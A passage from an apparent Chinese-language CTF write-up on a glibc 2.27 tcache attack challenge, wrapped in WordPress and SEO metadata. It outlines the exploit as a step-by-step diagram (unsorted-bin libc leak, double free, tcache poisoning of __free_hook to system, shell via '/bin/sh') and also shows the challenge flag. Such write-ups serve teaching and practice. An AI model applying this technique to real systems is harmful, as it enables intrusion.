                          p64(addr)<\/td>\n\u6574\u6570\u8f6c 8 \u5b57\u8282\u5c0f\u7aef\u5e8f<\/td>\n<\/tr>\n
                          interactive()<\/td>\n\u8fdb\u5165\u4ea4\u4e92\u6a21\u5f0f<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
                          \n

                          \u4e03\u3001\u5229\u7528\u6d41\u7a0b\u56fe<\/h3>\n

                          \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510
                          \n\u2502 1. \u586b\u6ee1 tcache \u7684 0x90 \u94fe \u2502
                          \n\u2502 add(0~6, 0x80) -> 7 \u4e2a 0x90 chunk \u2502
                          \n\u2502 free(0~6) -> tcache 0x90 \u94fe\u6ee1 \u2502
                          \n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524
                          \n\u2502 2. \u6cc4\u9732 libc \u2502
                          \n\u2502 add(7, 0x80) -> \u7b2c 8 \u4e2a 0x90 chunk \u2502
                          \n\u2502 free(7) -> \u8fdb\u5165 unsorted bin \u2502
                          \n\u2502 show(7) -> \u6cc4\u9732 main_arena + 96 \u2502
                          \n\u2502 libc_base = leak – 96 – 0x10 – __malloc_hook \u2502
                          \n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524
                          \n\u2502 3. tcache poisoning \u2502
                          \n\u2502 add(6~1, 0x80) -> \u53d6\u51fa 6 \u4e2a，tcache \u5269 1 \u4e2a \u2502
                          \n\u2502 free(0) -> double free，tcache: chunk0 -> chunk0 \u2502
                          \n\u2502 add(0, p64(free_hook)) -> \u8986\u76d6 chunk0->fd = free_hook \u2502
                          \n\u2502 add(9, b"aaaa") -> \u53d6\u51fa chunk0 \u2502
                          \n\u2502 add(10, p64(system)) -> \u53d6\u51fa free_hook，\u5199\u5165 system \u2502
                          \n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524
                          \n\u2502 4. getshell \u2502
                          \n\u2502 free(8) -> chunk8 \u5185\u5bb9\u4e3a \/bin\/sh \u2502
                          \n\u2502 __free_hook = system -> system("\/bin\/sh") \u2502
                          \n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/p>\n

                          \n

                          \u516b\u3001\u5173\u952e\u77e5\u8bc6\u70b9\u603b\u7ed3<\/h3>\n\n\u77e5\u8bc6\u70b9\u8bf4\u660e<\/tr>\n\n\n\n\n\n\n\n\n
                          tcache<\/td>\nglibc 2.26+ \u7684\u7ebf\u7a0b\u672c\u5730\u7f13\u5b58，\u6bcf\u4e2a bin \u6700\u591a 7 \u4e2a chunk<\/td>\n<\/tr>\n
                          UAF<\/td>\nfree \u540e\u6ca1\u6709\u7f6e\u96f6，\u53ef\u4ee5\u7ee7\u7eed\u8bbf\u95ee\u5df2\u91ca\u653e\u7684 chunk<\/td>\n<\/tr>\n
                          double free<\/td>\nglibc 2.27 \u7684 tcache \u6ca1\u6709\u68c0\u67e5，\u53ef\u4ee5\u8fde\u7eed free \u540c\u4e00\u4e2a chunk<\/td>\n<\/tr>\n
                          tcache poisoning<\/td>\n\u4fee\u6539\u5df2\u91ca\u653e chunk \u7684 fd，\u8ba9 malloc \u8fd4\u56de\u4efb\u610f\u5730\u5740<\/td>\n<\/tr>\n
                          __free_hook<\/td>\nfree \u65f6\u8c03\u7528\u7684\u94a9\u5b50\u51fd\u6570，\u8986\u5199\u4e3a system \u540e\u53ef\u4ee5\u6267\u884c system(chunk)<\/td>\n<\/tr>\n
                          unsorted bin leak<\/td>\n\u91ca\u653e\u7684 chunk \u8fdb\u5165 unsorted bin，fd \u6307\u5411 main_arena + 96<\/td>\n<\/tr>\n
                          Full RELRO<\/td>\nGOT \u8868\u53ea\u8bfb，\u65e0\u6cd5\u8986\u5199 GOT，\u53ea\u80fd\u6253 hook<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
                          \n

                          \u4e5d\u3001Flag<\/h3>\n

                          ctfhub{bb5c26fe3b593fb6403bd5c6}<\/p>\n

                          \n

                          \u5341\u3001\u53c2\u8003<\/h3>\n
                            \n
                          • glibc 2.27 tcache \u6e90\u7801\u5206\u6790<\/li>\n
                          • CTFHub PWN \u5806\u6ea2\u51fa – Tcache Attack<\/li>\n
                          • how2heap – tcache_poisoning<\/li>\n<\/ul>\n

                            Rambo<\/p>\n

                            2026\u5e749\u670824\u65e5<\/p>\n","protected":false},"excerpt":{"rendered":"

                            Writeup 4 CTFHub PWN Tcache Attack
                            \n\u4e00\u3001\u9898\u76ee\u4fe1\u606f
                            \n\u9879\u76ee\u503c\u9898\u76ee\u540d\u79f0tcache Attack\u7a0b\u5e8f\u540dchunk\u67b6\u678464 \u4f4dlibcglibc 2.27\u9632\u62a4Full RELRO Canary NX PIE\u8fdc\u7a0bnc challenge-b18d2a86b4ecea93.sandbox.ctfhub.com 20312Flagctfhub{bb5c26fe3b593fb6403bd5c6}\u4e8c\u3001\u80cc\u666f\u77e5\u8bc6：tcache \u662f\u4ec0\u4e48
                            \n2<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[9066,7837,12579],"topic":[],"class_list":["post-110181","post","type-post","status-publish","format-standard","hentry","category-server","tag-ctf","tag-pwn","tag-12579"],"yoast_head":"\nWriteup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/110181.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"Writeup 4 CTFHub PWN Tcache Attack \u4e00\u3001\u9898\u76ee\u4fe1\u606f \u9879\u76ee\u503c\u9898\u76ee\u540d\u79f0tcache Attack\u7a0b\u5e8f\u540dchunk\u67b6\u678464 \u4f4dlibcglibc 2.27\u9632\u62a4Full RELRO Canary NX PIE\u8fdc\u7a0bnc challenge-b18d2a86b4ecea93.sandbox.ctfhub.com 20312Flagctfhub{bb5c26fe3b593fb6403bd5c6}\u4e8c\u3001\u80cc\u666f\u77e5\u8bc6：tcache \u662f\u4ec0\u4e48 2\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/110181.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-26T01:57:06+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/110181.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/110181.html\",\"name\":\"Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-26T01:57:06+00:00\",\"dateModified\":\"2026-09-26T01:57:06+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/110181.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/110181.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/110181.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Writeup 4 CTFHub PWN Tcache Attack\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/110181.html","og_locale":"zh_CN","og_type":"article","og_title":"Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"Writeup 4 CTFHub PWN Tcache Attack \u4e00\u3001\u9898\u76ee\u4fe1\u606f \u9879\u76ee\u503c\u9898\u76ee\u540d\u79f0tcache Attack\u7a0b\u5e8f\u540dchunk\u67b6\u678464 \u4f4dlibcglibc 2.27\u9632\u62a4Full RELRO Canary NX PIE\u8fdc\u7a0bnc challenge-b18d2a86b4ecea93.sandbox.ctfhub.com 20312Flagctfhub{bb5c26fe3b593fb6403bd5c6}\u4e8c\u3001\u80cc\u666f\u77e5\u8bc6：tcache \u662f\u4ec0\u4e48 2","og_url":"https:\/\/www.wsisp.com\/helps\/110181.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-26T01:57:06+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"7 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/110181.html","url":"https:\/\/www.wsisp.com\/helps\/110181.html","name":"Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-26T01:57:06+00:00","dateModified":"2026-09-26T01:57:06+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/110181.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/110181.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/110181.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"Writeup 4 CTFHub PWN Tcache Attack"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/110181","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=110181"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/110181\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=110181"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=110181"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=110181"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=110181"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}